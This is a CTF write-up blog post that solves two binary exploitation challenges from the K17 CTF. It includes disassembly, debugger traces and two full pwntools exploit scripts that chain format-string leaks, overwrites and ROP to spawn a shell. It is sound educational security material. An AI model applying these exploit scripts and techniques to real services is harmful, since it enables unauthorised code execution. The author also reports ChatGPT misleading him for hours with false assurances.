team-logo
Published on

K17 - PWN Challenges

Authors

Introduction

Between August 19 and August 21 the first edition of the Australian K17 CTF took place. The event was well balanced with some beginner-friendly challenges. I solved two tasks in the PWN category. (There was also one PWN task in the Beginner category, but I am not including it here because I aim to cover complete categories.) More information about the CTF can be found here.


pwn-all

Challenge: Singular hole

pwn-1 This task was marked as easy, yet only 16 people solved it—possibly because it was released in a later wave. It was also a bit tricky: it was easy to overlook the intended exploitation path.

The program first asks for a name and then a fun fact. After that it allows you to "place your hole"—i.e., overwrite a single byte in the binary to influence execution flow.

Welcome to the singular hole - (not the void though, thats somewhere else)!"

In honour of yellowsubmarine's brain, which is
completely full of holes, we're giving you the
opportunity to exploit the one true singular hole.

Please state your name:
>> my name
Well hello my name

Please state a fun fact about yourself:
>> test
Interesting, I didn't know that!
Now let's get to business. Where would you like to place your hole?
>> 423
What would you like to write there?
423
Segmentation fault (core dumped)

Decompiled View / Initial Observations

Analysis in Binary Ninja reveals the vulnerable flow:

binary-ninja-main.c
0040125b    int32_t main(int32_t argc, char** argv, char** envp)

00401271        puts(str: "
00401271            Welcome to the singular hole - (not the void though, thats somewhere else)!"")
00401280        puts(str: &data_4020fd)
0040128f        puts(str: "In honour of yellowsubmarine's brain, which is")
0040129e        puts(str: "completely full of holes, we're giving you the")
004012ad        puts(str: "opportunity to exploit the one true singular hole.")
004012bc        puts(str: &data_4020fd)
004012cb        puts(str: "Please state your name:")
004012df        printf(format: ">> ")
004012f7        char var_18[0x10]
004012f7        fgets(buf: &var_18, n: 0x10, fp: __TMC_END__)
0040130b        printf(format: "Well hello ")
0040131c        printf(format: &var_18)
0040132b        puts(str: &data_4020fd)
0040133a        puts(str: "Please state a fun fact about yourself:")
0040134e        printf(format: ">> ")
00401366        char buf[0x60]
00401366        fgets(&buf, n: 0x60, fp: __TMC_END__)
00401375        puts(str: "Interesting, I didn't know that!")
0040137f        hole()
0040138a        return 0


Vulnerability: Format String (Print Buffer Overflow)

The line:

printf(format: &var_18)

uses user-controlled input directly as a format string. This enables a format string vulnerability, allowing stack disclosure via %p specifiers.

Through experimentation, %20$p %21$p produced:

  • A stack leak
  • A libc leak

These were sufficient to compute:

  • Return address location on the stack
  • libc base for ROP gadgets and /bin/sh + system

Misleading Path: Single-Byte Overwrite Loop

Initially the idea was to overwrite the low byte of the return address at main+297 (0x401384) to redirect execution back into hole() repeatedly. Overwriting one byte (e.g. changing 0x84 to 0x7a) seemed promising, but it only worked once before the program exited. This indicated a more robust plan was needed.

pwndbg> retaddr
.....
0x7fffffffdc58 —▸ 0x401200 (hole+74) ◂— lea rax, [rip + 0xe51]
0x7fffffffdc88 —▸ 0x401384 (main+297) ◂— mov eax, 0
.....
pwndbg>

Disassembly context:

    0x000000000040137a <+287>:   mov    eax,0x0
    0x000000000040137f <+292>:   call   0x4011b6 <hole>
    0x0000000000401384 <+297>:   mov    eax,0x0
    0x0000000000401389 <+302>:   leave
    0x000000000040138a <+303>:   ret

Stack excerpt:

00:0000│+828 0x7fffffffdc88 —▸ 0x401384 (main+297) ◂— mov eax, 0
01:0008│+830 0x7fffffffdc90 ◂— 'test\n'
02:0010│+838 0x7fffffffdc98 —▸ 0x7fffffffdc00 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc80 —▸ 0x7fffffffdd00 ◂— ...
03:0018│+840 0x7fffffffdca0 ◂— 0x9700000006
04:0020│+848 0x7fffffffdca8 ◂— 0
... ↓     3 skipped

Key realization: The user-controlled "test" string sits immediately after the saved return address—ideal for placing a crafted ROP chain.


Exploitation Strategy

  1. Use format string vulnerability to leak:
    • A stack address (to compute where to overwrite)
    • A libc address (to resolve base)
  2. Compute:
    • Address of ret on the stack (adjusting offsets manually)
    • Gadgets: pop rdi; ret
    • Addresses: /bin/sh, system
  3. Place ROP chain where the program later returns
  4. Overwrite a single byte so control flows directly to ret, executing the injected chain

ROP chain:

pop rdi ; ret
/bin/sh
system

A byte overwrite to land at 0x40138a (the final ret) avoids leave, preserving stack layout for ROP execution.


Exploit Script

win.py
from pwn import *             
import re

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 


HOST="nc challenge.secso.cc 9003"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chal"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

if args.REMOTE:
     p = remote(ADDRESS,PORT)
else:
     p = process(binary.path)    

payload=b'%20$p %21$p' #stack, libc

p.sendlineafter(b'Please state your name:',payload)
p.recvline()
response = p.recvline().decode()


matches = re.findall(r'0x[0-9a-fA-F]+', response)
if len(matches) >= 2:
     stack_leak = int(matches[0], 16)-0x40-0xd8
     libc_leak = int(matches[1], 16)-0x2a1ca
     
     log.warn(f"stack_leak_ret: {hex(stack_leak)}")
     log.warn(f"libc_leak_start: {hex(libc_leak)}")
else:
     log.warn("Could not find both leaks in response.")


libc.address=libc_leak

bin_sh = next(libc.search(b'/bin/sh'))  # Find "/bin/sh" string in libc
system = libc.sym['system']             # Find system() function address

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  # Find "pop rdi; ret" gadget

warn(f"pop rdi; ret: {pop_rdi:#x}")
warn(f"/bin/sh: {bin_sh:#x}")
warn(f"system: {system:#x}")

ropchain = b''.join([p64(pop_rdi), p64(bin_sh), p64(system)])
p.sendlineafter(b'Please state a fun fact about yourself:', ropchain)
p.sendlineafter(b'Now let\'s get to business. Where would you like to place your hole?', hex(stack_leak).encode())
p.sendlineafter(b'What would you like to write there?',b'138') #138 (0x8a) (ret) #ret=0x40138a


p.interactive()

Summary

Once solved, the challenge felt straightforward:

  • Core issue: format string vulnerability enabling stack + libc disclosure
  • Single-byte overwrite used to pivot execution directly to a crafted ROP chain stored adjacent to the saved return address
  • Final outcome: spawn shell via system("/bin/sh") The tricky part was recognizing that the "test" input area acted as a convenient ROP buffer instead of trying to loop execution repeatedly.

K17{1_6u355_0n3_b16_h0l3_15_3qu1v4l3n7_70_m4ny_5m4ll_h0l35}

Challenge: u get me write

pwn-1

This next task (medium difficulty) took me notably longer. At first I went down the wrong path: because I did not immediately spot an easy gadget like pop rdi ; ret, I convinced myself it was a ret2dlresolve challenge. That assumption wasted time. ChatGPT misled me for 4 hours; after each failed attempt it kept insisting I would get it on the next one, and so it dragged on.

Inspecting the GOT showed only two writable dynamic entries relevant to us:

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /mnt/d/moje_programy/CTF/ctftime/2025-k17-ctf/pwn-u-get-me-write/chal:
GOT protection: Partial RELRO | Found 2 GOT entries passing the filter
[0x404018] printf@GLIBC_2.2.5 -> 0x7ffff7c60100 (printf) ◂— endbr64
[0x404020] gets@GLIBC_2.2.5 -> 0x7ffff7c87080 (gets) ◂— endbr64

That nudged me toward a simpler combined approach: classic stack overflow for a small ROP stub plus a format-string based libc leak. Testing call sequences with gets and printf finally produced a working primitive. I did not even bother to fully reverse which exact stack slot produced the %p leak once it worked—iteration was faster.

Key observations:

  • Vulnerability: stack buffer overflow on the name input lets us control the return address.
  • First-stage ROP chain: pivot execution through gets (to read a controlled format string) then printf (to leak) and finally back to main for a clean second pass.
  • The format string %3$p already exposed a libc pointer (third variadic argument position), and subtracting a fixed offset (0x2038e0) yielded the libc base.
  • Version consistency: remote addresses matched the local libc 2.39 endings, so reuse was safe.
  • Second-stage: classic system("/bin/sh") ROP once we had libc base and a pop rdi ; ret gadget.

Exploit script:

from pwn import *             

context.log_level = 'warn' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc challenge.secso.cc 8004"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./chal"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

libc  = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

printf_plt=binary.plt.printf
gets_plt=binary.plt.gets
main=binary.sym.main
payload = 32 * b'A' + p64(0) + p64(gets_plt) + p64(printf_plt) + p64(main)
p.sendlineafter(b'Hello! Pleasure to meet you! Please enter your name:', payload)

fmt =b"%3$p "
p.sendline(fmt)
p.recvline()
recv = p.recvline().strip()
leaked_bytes = recv.split(b'\x1fHello!')[0]
leaked_addr = int(leaked_bytes,16)
warn (f"\"%3$p \" {leaked_addr:#x}")

libc.address=leaked_addr-0x2038e0

bin_sh = next(libc.search(b'/bin/sh'))  # Find "/bin/sh" string in libc
system = libc.sym['system']             # Find system() function address

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]  # Find "pop rdi; ret" gadget

warn(f"pop rdi; ret: {pop_rdi:#x}")
warn(f"/bin/sh: {bin_sh:#x}")
warn(f"system: {system:#x}")

payload2 = 32 * b'A' + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendline(payload2)
# gdb.attach(p)
p.interactive()

Takeaway: abandoning the premature ret2dlresolve idea and combining a minimal staged ROP with a straightforward format string leak was all that was required. Sometimes the simplest hybrid path wins.

K17{w04h_h0w_d1d_u_g37s_7h15}

Bonus

Optionally, you can find all resources for testing here.